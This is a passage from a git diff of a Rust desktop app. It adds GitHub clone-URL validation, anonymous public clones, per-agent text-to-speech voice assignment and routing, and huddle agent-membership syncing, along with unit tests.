+    let (_snapshot, png) = locked_png(&owner, &agent);
+    let payload = parse_snapshot_payload_from_bytes(&png).unwrap();
+    assert!(matches!(payload, ChunkPayload::Locked(_)));
+}
+
+/// The keyless plain decoder refuses locked cards with the refusal.
+#[test]
+fn plain_decoder_refuses_locked_cards() {
+    let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate());
+    let (_snapshot, png) = locked_png(&owner, &agent);
+    let err = decode_snapshot_from_bytes(&png).unwrap_err();
+    assert_eq!(err, LOCKED_CARD_REFUSAL);
+}
diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests_memory_entries.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests_memory_entries.rs
new file mode 100644
index 0000000000..b17efa1ad1
--- /dev/null
+++ b/desktop/src-tauri/src/commands/personas/snapshot/tests_memory_entries.rs
@@ -0,0 +1,55 @@
+//! Tests for `memory_entries_from_listing` — the shared level → entries
+//! selection used by both snapshot export and card minting. Split from
+//! `tests.rs` to keep that file under the 1000-line gate; `#[path]`-included
+//! from there as a child module, so `super::*` resolves to `tests`'s parent
+//! scope re-exports.
+
+use super::*;
+
+fn listing_fixture() -> crate::commands::engrams::AgentMemoryListing {
+    let entry = |slug: &str, body: &str| crate::commands::engrams::EngramEntry {
+        slug: slug.to_string(),
+        body: body.to_string(),
+        event_id: "e".repeat(64),
+        created_at: 1,
+        outgoing_refs: vec![],
+    };
+    crate::commands::engrams::AgentMemoryListing {
+        core: Some(entry("core", "core body")),
+        memories: vec![entry("mem/a", "a body"), entry("mem/b", "b body")],
+        truncated: false,
+        fetched_at: 1,
+    }
+}
+
+#[test]
+fn memory_entries_core_takes_core_only() {
+    let entries = memory_entries_from_listing(listing_fixture(), MemoryLevel::Core);
+    assert_eq!(entries.len(), 1);
+    assert_eq!(entries[0].slug, "core");
+    assert_eq!(entries[0].body, "core body");
+}
+
+#[test]
+fn memory_entries_everything_appends_mem_entries_after_core() {
+    let entries = memory_entries_from_listing(listing_fixture(), MemoryLevel::Everything);
+    assert_eq!(
+        entries.iter().map(|e| e.slug.as_str()).collect::<Vec<_>>(),
+        vec!["core", "mem/a", "mem/b"]
+    );
+}
+
+#[test]
+fn memory_entries_missing_core_still_yields_mem_entries_for_everything() {
+    let mut listing = listing_fixture();
+    listing.core = None;
+    let entries = memory_entries_from_listing(listing, MemoryLevel::Everything);
+    assert_eq!(
+        entries.iter().map(|e| e.slug.as_str()).collect::<Vec<_>>(),
+        vec!["mem/a", "mem/b"]
+    );
+
+    let mut core_only = listing_fixture();
+    core_only.core = None;
+    assert!(memory_entries_from_listing(core_only, MemoryLevel::Core).is_empty());
+}
diff --git a/desktop/src-tauri/src/commands/project_git_exec.rs b/desktop/src-tauri/src/commands/project_git_exec.rs
index e4a8ad7b41..c616d39db1 100644
--- a/desktop/src-tauri/src/commands/project_git_exec.rs
+++ b/desktop/src-tauri/src/commands/project_git_exec.rs
@@ -203,6 +203,22 @@ pub(crate) fn build_git_auth_config(state: &AppState) -> Result<GitAuthConfig, S
     build_git_auth_config_for_keys(&keys)
 }
 
+pub(crate) fn build_git_clone_auth_config(
+    clone_url: &str,
+    state: &AppState,
+) -> Result<GitAuthConfig, String> {
+    if validate_github_clone_url(clone_url).is_ok() {
+        return Ok(GitAuthConfig {
+            git_path: resolve_command("git")
+                .ok_or_else(|| "git was not found on PATH".to_string())?,
+            credential_helper: None,
+            nsec: String::new(),
+            allow_file_transport: false,
+        });
+    }
+    build_git_auth_config(state)
+}
+
 pub(crate) fn build_git_auth_config_for_keys(keys: &Keys) -> Result<GitAuthConfig, String> {
     let git_path = resolve_command("git").ok_or_else(|| "git was not found on PATH".to_string())?;
     let credential_helper = resolve_command("git-credential-nostr");
@@ -288,6 +304,56 @@ pub(crate) fn validate_clone_url(clone_url: &str) -> Result<(), String> {
     Ok(())
 }
 
+fn validate_github_clone_url(clone_url: &str) -> Result<(), String> {
+    let parsed = Url::parse(clone_url).map_err(|error| format!("invalid clone URL: {error}"))?;
+    if parsed.scheme() != "https"
+        || parsed.host_str() != Some("github.com")
+        || parsed.port().is_some()
+        || !parsed.username().is_empty()
+        || parsed.password().is_some()
+        || parsed.query().is_some()
+        || parsed.fragment().is_some()
+    {
+        return Err("GitHub clone URL must use public https://github.com/owner/repository".into());
+    }
+    let segments = parsed
+        .path_segments()
+        .map(|segments| {
+            segments
+                .filter(|segment| !segment.is_empty())
+                .collect::<Vec<_>>()
+        })
+        .unwrap_or_default();
+    let valid_segment = |segment: &&str| {
+        !segment.starts_with('-')
+            && !segment.contains("..")
+            && segment.chars().all(|character| {
+                character.is_ascii_alphanumeric() || matches!(character, '.' | '_' | '-')
+            })
+    };
+    if segments.len() != 2 || !segments.iter().all(valid_segment) {
+        return Err("GitHub clone URL must name one owner and repository".into());
+    }
+    Ok(())
+}
+
+pub(crate) fn validate_local_clone_url(clone_url: &str) -> Result<(), String> {
+    if validate_clone_url(clone_url).is_ok() || validate_github_clone_url(clone_url).is_ok() {
+        return Ok(());
+    }
+    Err("clone URL must point at a Buzz repository or public GitHub repository".into())
+}
+
+pub(crate) fn validate_local_clone_url_for_workspace(
+    clone_url: &str,
+    state: &AppState,
+) -> Result<(), String> {
+    if validate_github_clone_url(clone_url).is_ok() {
+        return Ok(());
+    }
+    validate_workspace_clone_url(clone_url, state)
+}
+
 pub(crate) fn clone_url_owner(clone_url: &str) -> Option<String> {
     let parsed = Url::parse(clone_url).ok()?;
     let segments = parsed
@@ -329,6 +395,7 @@ mod tests {
     use super::{
         clean_branch, clean_target_ref, credential_helper_config_value, git_needs_credentials,
         git_subcommand, validate_clone_url, validate_clone_url_against_relay,
+        validate_local_clone_url,
     };
 
     #[test]
@@ -441,4 +508,15 @@ mod tests {
         )
         .is_err());
     }
+
+    #[test]
+    fn local_clone_url_allows_only_public_github_https_urls() {
+        assert!(validate_local_clone_url("https://github.com/block/buzz").is_ok());
+        assert!(validate_local_clone_url("https://github.com/block/buzz.git").is_ok());
+        assert!(validate_local_clone_url("http://github.com/block/buzz").is_err());
+        assert!(validate_local_clone_url("https://github.com/block/buzz/issues").is_err());
+        assert!(validate_local_clone_url("https://user@github.com/block/buzz").is_err());
+        assert!(validate_local_clone_url("https://github.com.evil.test/block/buzz").is_err());
+        assert!(validate_local_clone_url("https://gitlab.com/block/buzz").is_err());
+    }
 }
diff --git a/desktop/src-tauri/src/commands/project_git_workflow.rs b/desktop/src-tauri/src/commands/project_git_workflow.rs
index 624bbf4dfc..9e06852762 100644
--- a/desktop/src-tauri/src/commands/project_git_workflow.rs
+++ b/desktop/src-tauri/src/commands/project_git_workflow.rs
@@ -3,8 +3,9 @@
 use super::project_git::{first_output_line, normalize_branch_option};
 use super::project_git_diff::clean_commit;
 use super::project_git_exec::{
-    build_git_auth_config, build_git_auth_config_for_keys, clone_url_owner, run_git,
-    validate_clone_url, validate_workspace_clone_url, GitAuthConfig,
+    build_git_auth_config_for_keys, build_git_clone_auth_config, clone_url_owner, run_git,
+    validate_local_clone_url, validate_local_clone_url_for_workspace, validate_workspace_clone_url,
+    GitAuthConfig,
 };
 use super::project_repo_paths::{
     canonical_repos_roots, canonicalize_repos_root, default_repos_root_candidates,
@@ -353,7 +354,7 @@ pub(crate) fn clone_project_repository_blocking(
     default_branch: Option<&str>,
     auth: &GitAuthConfig,
 ) -> Result<ProjectRepoCloneResult, String> {
-    validate_clone_url(clone_url)?;
+    validate_local_clone_url(clone_url)?;
     let branch = normalize_branch_option(default_branch);
     if let Some(repo_dir) = find_local_repo_dir(repos_dir, project_dtag, Some(clone_url))? {
         return Ok(ProjectRepoCloneResult {
@@ -411,8 +412,8 @@ pub async fn clone_project_repository(
     default_branch: Option<String>,
     state: State<'_, AppState>,
 ) -> Result<ProjectRepoCloneResult, String> {
-    validate_workspace_clone_url(&clone_url, &state)?;
-    let auth = build_git_auth_config(&state)?;
+    validate_local_clone_url_for_workspace(&clone_url, &state)?;
+    let auth = build_git_clone_auth_config(&clone_url, &state)?;
     tauri::async_runtime::spawn_blocking(move || {
         clone_project_repository_blocking(
             repos_dir.as_deref(),
diff --git a/desktop/src-tauri/src/commands/project_terminal.rs b/desktop/src-tauri/src/commands/project_terminal.rs
index 31dbc74c6d..c583dd0db5 100644
--- a/desktop/src-tauri/src/commands/project_terminal.rs
+++ b/desktop/src-tauri/src/commands/project_terminal.rs
@@ -9,7 +9,10 @@ use crate::app_state::AppState;
 
 use super::project_git::{first_output_line, normalize_branch_option};
 use super::project_git_diff::clean_commit;
-use super::project_git_exec::{build_git_auth_config, run_git, validate_workspace_clone_url};
+use super::project_git_exec::{
+    build_git_auth_config, build_git_clone_auth_config, run_git,
+    validate_local_clone_url_for_workspace, validate_workspace_clone_url,
+};
 use super::project_git_workflow::clone_project_repository_blocking;
 use super::project_repo_paths::find_local_repo_dir;
 
@@ -99,9 +102,8 @@ fn launch_terminal_at(path: &std::path::Path) -> Result<(), String> {
 }
 
 /// Opens the OS terminal at the project's local checkout. When there is no
-/// local checkout yet, clones the repository from `clone_url` (authenticated
-/// with the identity key, same as push/snapshot) into the repos dir first,
-/// then opens the terminal at the fresh checkout.
+/// local checkout yet, clones the repository from `clone_url` into the repos
+/// dir first, then opens the terminal at the fresh checkout.
 #[tauri::command]
 pub async fn open_project_terminal(
     repos_dir: Option<String>,
@@ -111,11 +113,16 @@ pub async fn open_project_terminal(
     state: State<'_, AppState>,
 ) -> Result<ProjectTerminalResult, String> {
     if let Some(clone_url) = clone_url.as_deref() {
-        validate_workspace_clone_url(clone_url, &state)?;
+        validate_local_clone_url_for_workspace(clone_url, &state)?;
     }
-    // Auth is only needed for the clone path — keep the result outside the
-    // blocking task so it owns no borrowed Tauri state.
-    let auth = build_git_auth_config(&state);
+    // Public GitHub clones stay anonymous; Buzz remotes use the workspace
+    // identity. Keep the result outside the blocking task so it borrows no
+    // Tauri state.
+    let auth = if let Some(clone_url) = clone_url.as_deref() {
+        build_git_clone_auth_config(clone_url, &state)
+    } else {
+        build_git_auth_config(&state)
+    };
     tauri::async_runtime::spawn_blocking(move || {
         // An inaccessible repos root (fresh machine, nothing cloned yet) is
         // not fatal here — the clone path below creates the default root. A
diff --git a/desktop/src-tauri/src/commands/relay_members.rs b/desktop/src-tauri/src/commands/relay_members.rs
index a9230dff95..9ccf8baac0 100644
--- a/desktop/src-tauri/src/commands/relay_members.rs
+++ b/desktop/src-tauri/src/commands/relay_members.rs
@@ -17,8 +17,15 @@ struct RelayInformationDocument {
 }
 
 #[tauri::command]
-pub async fn relay_requires_membership(state: State<'_, AppState>) -> Result<bool, String> {
-    let url = format!("{}/info", relay_api_base_url_with_override(&state));
+pub async fn relay_requires_membership(
+    relay_url: Option<String>,
+    state: State<'_, AppState>,
+) -> Result<bool, String> {
+    let base_url = relay_url
+        .as_deref()
+        .map(crate::relay::relay_http_base_url)
+        .unwrap_or_else(|| relay_api_base_url_with_override(&state));
+    let url = format!("{}/info", base_url.trim_end_matches('/'));
     let response = state
         .http_client
         .get(url)
diff --git a/desktop/src-tauri/src/commands/workspace.rs b/desktop/src-tauri/src/commands/workspace.rs
index 731a99d9d9..aa88bfe39a 100644
--- a/desktop/src-tauri/src/commands/workspace.rs
+++ b/desktop/src-tauri/src/commands/workspace.rs
@@ -212,6 +212,8 @@ pub async fn apply_workspace(
     .map_err(|e| format!("spawn_blocking failed: {e}"))??;
 
     let state = restore_app.state::<AppState>();
+    super::agents::provider_access::reconcile_on_workspace_apply(&restore_app, &state).await?;
+
     // Backfill this exact relay+owner scope only after the workspace has been
     // applied. Running at process boot would target the fallback relay and
     // collapse every community into one pending-event store.
diff --git a/desktop/src-tauri/src/huddle/agent_tts_routing.rs b/desktop/src-tauri/src/huddle/agent_tts_routing.rs
new file mode 100644
index 0000000000..2ee3ec0d41
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/agent_tts_routing.rs
@@ -0,0 +1,56 @@
+use super::HuddlePhase;
+
+#[derive(Debug, PartialEq, Eq)]
+pub(super) enum AgentTtsRuntimeGate {
+    Disabled,
+    Inactive,
+    NeedsPipeline,
+    Ready,
+}
+
+pub(super) fn classify_agent_tts_runtime(
+    enabled: bool,
+    phase: &HuddlePhase,
+    has_pipeline: bool,
+) -> AgentTtsRuntimeGate {
+    if !enabled {
+        AgentTtsRuntimeGate::Disabled
+    } else if !matches!(phase, HuddlePhase::Connected | HuddlePhase::Active) {
+        AgentTtsRuntimeGate::Inactive
+    } else if has_pipeline {
+        AgentTtsRuntimeGate::Ready
+    } else {
+        AgentTtsRuntimeGate::NeedsPipeline
+    }
+}
+
+/// Maximum text length accepted for TTS synthesis.
+/// ~2000 chars is 1–2 minutes of speech. Longer messages are truncated.
+pub(super) const MAX_TTS_TEXT_LEN: usize = 2000;
+
+pub(super) fn normalize_agent_tts_text(text: String) -> String {
+    if text.chars().count() > MAX_TTS_TEXT_LEN {
+        let mut truncated: String = text.chars().take(MAX_TTS_TEXT_LEN).collect();
+        truncated.push_str("... message truncated.");
+        truncated
+    } else {
+        text
+    }
+}
+
+pub(super) async fn enqueue_agent_tts_text<F>(
+    route_id: u64,
+    text: String,
+    enqueue: F,
+) -> Result<(), String>
+where
+    F: FnOnce(u64, String) -> Result<(), String> + Send + 'static,
+{
+    tokio::task::spawn_blocking(move || enqueue(route_id, text))
+        .await
+        .map_err(|error| format!("TTS enqueue task failed: {error}"))?
+}
+
+#[cfg(test)]
+#[path = "agent_tts_routing_tests.rs"]
+mod tests;
diff --git a/desktop/src-tauri/src/huddle/agent_tts_routing_tests.rs b/desktop/src-tauri/src/huddle/agent_tts_routing_tests.rs
new file mode 100644
index 0000000000..cb550d7005
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/agent_tts_routing_tests.rs
@@ -0,0 +1,57 @@
+use super::{
+    classify_agent_tts_runtime, enqueue_agent_tts_text, normalize_agent_tts_text,
+    AgentTtsRuntimeGate, MAX_TTS_TEXT_LEN,
+};
+use crate::huddle::HuddlePhase;
+
+#[tokio::test]
+async fn assistant_plain_text_routes_unchanged_into_voice_pipeline_boundary() {
+    let (sender, receiver) = std::sync::mpsc::channel();
+    let text = "A newly submitted assistant reply.".to_string();
+    let route_id = 42;
+
+    enqueue_agent_tts_text(route_id, text.clone(), move |route_id, queued| {
+        sender
+            .send((route_id, queued))
+            .map_err(|error| error.to_string())
+    })
+    .await
+    .expect("route assistant text");
+
+    assert_eq!(
+        receiver.recv().expect("queued text"),
+        (route_id, text),
+        "route correlation must survive the native queue boundary"
+    );
+}
+
+#[test]
+fn disabled_is_the_only_intentional_runtime_no_op() {
+    assert_eq!(
+        classify_agent_tts_runtime(false, &HuddlePhase::Connected, false),
+        AgentTtsRuntimeGate::Disabled
+    );
+    assert_eq!(
+        classify_agent_tts_runtime(true, &HuddlePhase::Idle, false),
+        AgentTtsRuntimeGate::Inactive
+    );
+    assert_eq!(
+        classify_agent_tts_runtime(true, &HuddlePhase::Connected, false),
+        AgentTtsRuntimeGate::NeedsPipeline
+    );
+    assert_eq!(
+        classify_agent_tts_runtime(true, &HuddlePhase::Connected, true),
+        AgentTtsRuntimeGate::Ready
+    );
+}
+
+#[test]
+fn assistant_text_truncation_is_unicode_safe_before_voice_routing() {
+    let input = "🦀".repeat(MAX_TTS_TEXT_LEN + 1);
+    let output = normalize_agent_tts_text(input);
+    assert_eq!(
+        output.chars().count(),
+        MAX_TTS_TEXT_LEN + "... message truncated.".chars().count()
+    );
+    assert!(output.ends_with("... message truncated."));
+}
diff --git a/desktop/src-tauri/src/huddle/agent_voice.rs b/desktop/src-tauri/src/huddle/agent_voice.rs
new file mode 100644
index 0000000000..5232287d75
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/agent_voice.rs
@@ -0,0 +1,310 @@
+//! Per-agent text-to-speech choices for one local huddle session.
+
+use std::collections::{BTreeMap, HashSet};
+
+use serde::{Deserialize, Serialize};
+use tauri::{AppHandle, State};
+
+use crate::app_state::AppState;
+
+use super::{
+    tts_settings::{
+        pocket_voice_reference, resolve_voice_for_backend_in_registry, voice_registry,
+        VoiceRegistryEntry, POCKET_BACKEND_ID,
+    },
+    HuddlePhase, HuddleState,
+};
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct AgentVoiceSettings {
+    pub enabled: bool,
+    pub voice_key: String,
+}
+
+struct AgentVoiceCatalog {
+    default_voice_key: String,
+    voices: Vec<VoiceRegistryEntry>,
+}
+
+fn catalog(app: &AppHandle, state: &AppState) -> Result<AgentVoiceCatalog, String> {
+    let registry = voice_registry(app);
+    let settings = state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))?
+        .clone();
+    let voices: Vec<_> = registry
+        .iter()
+        .filter(|voice| {
+            voice.backend == POCKET_BACKEND_ID
+                && matches!(voice.availability.as_str(), "bundled" | "installed")
+        })
+        .cloned()
+        .collect();
+    let default_voice_key = resolve_voice_for_backend_in_registry(
+        &settings.voice_preferences,
+        POCKET_BACKEND_ID,
+        &voices,
+    )?
+    .key;
+    Ok(AgentVoiceCatalog {
+        default_voice_key,
+        voices,
+    })
+}
+
+fn stable_voice_index(agent_pubkey: &str, huddle_generation: u64, len: usize) -> usize {
+    let hash = agent_pubkey.bytes().fold(
+        0xcbf2_9ce4_8422_2325_u64 ^ huddle_generation,
+        |hash, byte| hash.wrapping_mul(0x0000_0100_0000_01b3) ^ u64::from(byte),
+    );
+    (hash as usize) % len
+}
+
+pub(crate) fn sync_agent_voice_assignments(
+    huddle: &mut HuddleState,
+    agent_pubkeys: &[String],
+    default_voice_key: &str,
+    voices: &[VoiceRegistryEntry],
+) -> bool {
+    let previous = huddle.agent_voice_settings.clone();
+    let available_keys: Vec<_> = voices.iter().map(|voice| voice.key.clone()).collect();
+    let available: HashSet<_> = available_keys.iter().cloned().collect();
+    let agents: HashSet<_> = agent_pubkeys.iter().cloned().collect();
+    huddle.agent_voice_settings.retain(|pubkey, settings| {
+        agents.contains(pubkey) && available.contains(&settings.voice_key)
+    });
+
+    let mut used: HashSet<_> = huddle
+        .agent_voice_settings
+        .values()
+        .map(|settings| settings.voice_key.clone())
+        .collect();
+    for (index, pubkey) in agent_pubkeys.iter().enumerate() {
+        if huddle.agent_voice_settings.contains_key(pubkey) {
+            continue;
+        }
+        let preferred = if index == 0 && !used.contains(default_voice_key) {
+            Some(default_voice_key.to_owned())
+        } else {
+            let unused_alternates: Vec<_> = available_keys
+                .iter()
+                .filter(|key| key.as_str() != default_voice_key && !used.contains(*key))
+                .cloned()
+                .collect();
+            let unused: Vec<_> = available_keys
+                .iter()
+                .filter(|key| !used.contains(*key))
+                .cloned()
+                .collect();
+            let candidates = if unused_alternates.is_empty() {
+                if unused.is_empty() {
+                    &available_keys
+                } else {
+                    &unused
+                }
+            } else {
+                &unused_alternates
+            };
+            (!candidates.is_empty()).then(|| {
+                candidates[stable_voice_index(pubkey, huddle.huddle_generation, candidates.len())]
+                    .clone()
+            })
+        };
+        if let Some(voice_key) = preferred {
+            used.insert(voice_key.clone());
+            huddle.agent_voice_settings.insert(
+                pubkey.clone(),
+                AgentVoiceSettings {
+                    enabled: true,
+                    voice_key,
+                },
+            );
+        }
+    }
+    huddle.agent_voice_settings != previous
+}
+
+fn ensure_with_catalog(
+    huddle: &mut HuddleState,
+    catalog: &AgentVoiceCatalog,
+    extra_agent: Option<&str>,
+) -> bool {
+    let mut agents = huddle
+        .agent_pubkeys
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .clone();
+    if let Some(pubkey) = extra_agent {
+        if !agents.iter().any(|agent| agent == pubkey) {
+            agents.push(pubkey.to_owned());
+        }
+    }
+    sync_agent_voice_assignments(huddle, &agents, &catalog.default_voice_key, &catalog.voices)
+}
+
+fn require_active_huddle(huddle: &HuddleState) -> Result<(), String> {
+    matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active)
+        .then_some(())
+        .ok_or_else(|| "No active huddle".to_owned())
+}
+
+#[tauri::command]
+pub fn ensure_huddle_agent_voice_settings(
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<BTreeMap<String, AgentVoiceSettings>, String> {
+    let catalog = catalog(&app, &state)?;
+    let (changed, settings) = {
+        let mut huddle = state.huddle()?;
+        if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) {
+            return Ok(BTreeMap::new());
+        }
+        let changed = ensure_with_catalog(&mut huddle, &catalog, None);
+        (changed, huddle.agent_voice_settings.clone())
+    };
+    if changed {
+        state.emit_huddle_state_changed();
+    }
+    Ok(settings)
+}
+
+#[tauri::command]
+pub fn set_huddle_agent_tts_enabled(
+    agent_pubkey: String,
+    enabled: bool,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<AgentVoiceSettings, String> {
+    let catalog = catalog(&app, &state)?;
+    let settings = {
+        let mut huddle = state.huddle()?;
+        require_active_huddle(&huddle)?;
+        ensure_with_catalog(&mut huddle, &catalog, Some(&agent_pubkey));
+        let settings = huddle
+            .agent_voice_settings
+            .get_mut(&agent_pubkey)
+            .ok_or("Agent is not in the active huddle")?;
+        settings.enabled = enabled;
+        settings.clone()
+    };
+    state.emit_huddle_state_changed();
+    Ok(settings)
+}
+
+#[tauri::command]
+pub fn set_huddle_agent_voice(
+    agent_pubkey: String,
+    voice_key: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<AgentVoiceSettings, String> {
+    let catalog = catalog(&app, &state)?;
+    if !catalog.voices.iter().any(|voice| voice.key == voice_key) {
+        return Err("The selected Pocket voice is not available on this device".to_owned());
+    }
+    let settings = {
+        let mut huddle = state.huddle()?;
+        require_active_huddle(&huddle)?;
+        ensure_with_catalog(&mut huddle, &catalog, Some(&agent_pubkey));
+        let settings = huddle
+            .agent_voice_settings
+            .get_mut(&agent_pubkey)
+            .ok_or("Agent is not in the active huddle")?;
+        settings.voice_key = voice_key;
+        settings.clone()
+    };
+    state.emit_huddle_state_changed();
+    Ok(settings)
+}
+
+pub(crate) fn voice_reference_for_agent(
+    app: &AppHandle,
+    state: &AppState,
+    agent_pubkey: &str,
+) -> Result<Option<String>, String> {
+    let catalog = catalog(app, state)?;
+    let (changed, settings) = {
+        let mut huddle = state.huddle()?;
+        require_active_huddle(&huddle)?;
+        let changed = ensure_with_catalog(&mut huddle, &catalog, Some(agent_pubkey));
+        let settings = huddle.agent_voice_settings.get(agent_pubkey).cloned();
+        (changed, settings)
+    };
+    if changed {
+        state.emit_huddle_state_changed();
+    }
+    let Some(settings) = settings else {
+        return Err("Agent is not in the active huddle".to_owned());
+    };
+    if !settings.enabled {
+        return Ok(None);
+    }
+    pocket_voice_reference(app, &[settings.voice_key]).map(Some)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::huddle::tts_settings::bundled_voice_registry;
+
+    #[test]
+    fn first_agent_uses_default_and_additional_agents_are_distinct() {
+        let agents = vec!["first".to_owned(), "second".to_owned(), "third".to_owned()];
+        let mut huddle = HuddleState {
+            huddle_generation: 9,
+            ..HuddleState::default()
+        };
+
+        assert!(sync_agent_voice_assignments(
+            &mut huddle,
+            &agents,
+            "pocket:vera",
+            &bundled_voice_registry(),
+        ));
+
+        assert_eq!(
+            huddle.agent_voice_settings["first"].voice_key,
+            "pocket:vera"
+        );
+        let distinct: HashSet<_> = huddle
+            .agent_voice_settings
+            .values()
+            .map(|settings| settings.voice_key.as_str())
+            .collect();
+        assert_eq!(distinct.len(), 3);
+    }
+
+    #[test]
+    fn explicit_session_choices_survive_roster_resync() {
+        let agents = vec!["first".to_owned(), "second".to_owned()];
+        let voices = bundled_voice_registry();
+        let mut huddle = HuddleState::default();
+        sync_agent_voice_assignments(&mut huddle, &agents, "pocket:mary", &voices);
+        huddle
+            .agent_voice_settings
+            .get_mut("second")
+            .unwrap()
+            .enabled = false;
+        huddle
+            .agent_voice_settings
+            .get_mut("second")
+            .unwrap()
+            .voice_key = "pocket:jane".into();
+
+        assert!(!sync_agent_voice_assignments(
+            &mut huddle,
+            &agents,
+            "pocket:mary",
+            &voices,
+        ));
+        assert_eq!(
+            huddle.agent_voice_settings["second"],
+            AgentVoiceSettings {
+                enabled: false,
+                voice_key: "pocket:jane".into(),
+            }
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/agents.rs b/desktop/src-tauri/src/huddle/agents.rs
index 2de22f99d8..41a348d888 100644
--- a/desktop/src-tauri/src/huddle/agents.rs
+++ b/desktop/src-tauri/src/huddle/agents.rs
@@ -9,14 +9,24 @@
 //! when it receives the kind:9000 membership notification. Huddle-specific
 //! env vars (interrupt mode, custom system prompt) are a post-MVP enhancement.
 
+use std::collections::HashSet;
+
 use serde::Serialize;
+use tauri::State;
 use uuid::Uuid;
 
 use crate::{
-    app_state::AppState, events, huddle::relay_api::fetch_channel_members_with_roles,
+    app_state::AppState,
+    events,
+    huddle::relay_api::{
+        fetch_channel_members, fetch_channel_members_with_roles, validate_pubkey_hex,
+        MAX_HUDDLE_AGENTS,
+    },
     relay::submit_event,
 };
 
+use super::{pipeline::start_auto_enabled_transcription, HuddlePhase};
+
 // ── Constants ─────────────────────────────────────────────────────────────────
 
 /// Voice-mode guidelines posted as kind:48106 (huddle guidelines) to the
@@ -78,6 +88,21 @@ pub struct AgentAddResult {
     pub parent_error: Option<String>,
 }
 
+/// Result of reconciling channel agent additions into the active Huddle.
+#[derive(Debug, Serialize)]
+pub struct AgentHuddleSyncResult {
+    /// Whether `channel_id` belonged to the active Huddle.
+    pub matched_active_huddle: bool,
+    /// Agents newly enrolled in the Huddle's ephemeral channel.
+    pub added: Vec<String>,
+}
+
+// Multiple frontend mutation paths can observe the same membership addition
+// (for example, the member hook and the mention send flow). Serialize native
+// reconciliation so they share the first result instead of racing duplicate
+// membership events through a relay read that has not caught up yet.
+static AGENT_SYNC_LOCK: tokio::sync::Mutex<()> = tokio::sync::Mutex::const_new(());
+
 /// Add an agent to both the ephemeral and parent huddle channels.
 ///
 /// Returns `Err` only if the ephemeral-channel add fails (policy rejection or
@@ -134,6 +159,156 @@ pub async fn add_agent_to_huddle(
     })
 }
 
+/// Reconcile explicitly added channel agents into the active Huddle.
+///
+/// The source channel may be either the Huddle's parent or its ephemeral chat.
+/// Existing ephemeral membership is hydrated first so a mention sent from the
+/// Huddle chat does not publish a duplicate membership event. Missing agents
+/// are added through the same parent + ephemeral path as the Add agent picker.
+pub(crate) async fn sync_agents_for_active_huddle(
+    channel_id: &str,
+    agent_pubkeys: Vec<String>,
+    state: &AppState,
+) -> Result<AgentHuddleSyncResult, String> {
+    let mut seen = HashSet::new();
+    let mut requested = Vec::new();
+    for pubkey in agent_pubkeys {
+        let normalized = pubkey.to_ascii_lowercase();
+        validate_pubkey_hex(&normalized)?;
+        if seen.insert(normalized.clone()) {
+            requested.push(normalized);
+        }
+    }
+    if requested.is_empty() {
+        return Ok(AgentHuddleSyncResult {
+            matched_active_huddle: false,
+            added: Vec::new(),
+        });
+    }
+    let _sync_guard = AGENT_SYNC_LOCK.lock().await;
+
+    let (ephemeral_channel_id, parent_channel_id, huddle_generation, state_agents) = {
+        let huddle = state.huddle()?;
+        if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) {
+            return Ok(AgentHuddleSyncResult {
+                matched_active_huddle: false,
+                added: Vec::new(),
+            });
+        }
+        let ephemeral_channel_id = huddle
+            .ephemeral_channel_id
+            .clone()
+            .ok_or("no ephemeral channel")?;
+        let parent_channel_id = huddle
+            .parent_channel_id
+            .clone()
+            .ok_or("no parent channel")?;
+        if channel_id != ephemeral_channel_id && channel_id != parent_channel_id {
+            return Ok(AgentHuddleSyncResult {
+                matched_active_huddle: false,
+                added: Vec::new(),
+            });
+        }
+        let state_agents = huddle
+            .agent_pubkeys
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .clone();
+        (
+            ephemeral_channel_id,
+            parent_channel_id,
+            huddle.huddle_generation,
+            state_agents,
+        )
+    };
+
+    // Membership reads can lag a just-accepted write, so merge the relay view
+    // with local state instead of allowing a stale snapshot to remove agents.
+    let fresh_agents = fetch_channel_members(&ephemeral_channel_id, Some("bot"), state)
+        .await
+        .unwrap_or_default();
+    let mut known_agents = HashSet::new();
+    let mut merged_agents = Vec::new();
+    for pubkey in state_agents.into_iter().chain(fresh_agents) {
+        let normalized = pubkey.to_ascii_lowercase();
+        if known_agents.insert(normalized.clone()) {
+            merged_agents.push(normalized);
+        }
+    }
+    let missing: Vec<String> = requested
+        .into_iter()
+        .filter(|pubkey| !known_agents.contains(pubkey))
+        .collect();
+    if known_agents.len() + missing.len() > MAX_HUDDLE_AGENTS {
+        return Err(format!(
+            "agent limit reached: {} requested with {} already present (max {})",
+            missing.len(),
+            known_agents.len(),
+            MAX_HUDDLE_AGENTS
+        ));
+    }
+
+    let ephemeral_uuid = Uuid::parse_str(&ephemeral_channel_id).map_err(|e| e.to_string())?;
+    let parent_uuid = Uuid::parse_str(&parent_channel_id).map_err(|e| e.to_string())?;
+    let mut added = Vec::new();
+    for pubkey in missing {
+        add_agent_to_huddle(ephemeral_uuid, parent_uuid, &pubkey, state).await?;
+        merged_agents.push(pubkey.clone());
+        added.push(pubkey);
+    }
+
+    let (roster_changed, transcription_auto_enabled) = {
+        let mut huddle = state.huddle()?;
+        if !huddle.is_current_huddle(&ephemeral_channel_id, huddle_generation) {
+            return Ok(AgentHuddleSyncResult {
+                matched_active_huddle: true,
+                added,
+            });
+        }
+        let mut roster_changed = false;
+        {
+            let mut current_agents = huddle
+                .agent_pubkeys
+                .lock()
+                .unwrap_or_else(|error| error.into_inner());
+            if *current_agents != merged_agents {
+                *current_agents = merged_agents.clone();
+                roster_changed = true;
+            }
+        }
+        for pubkey in &merged_agents {
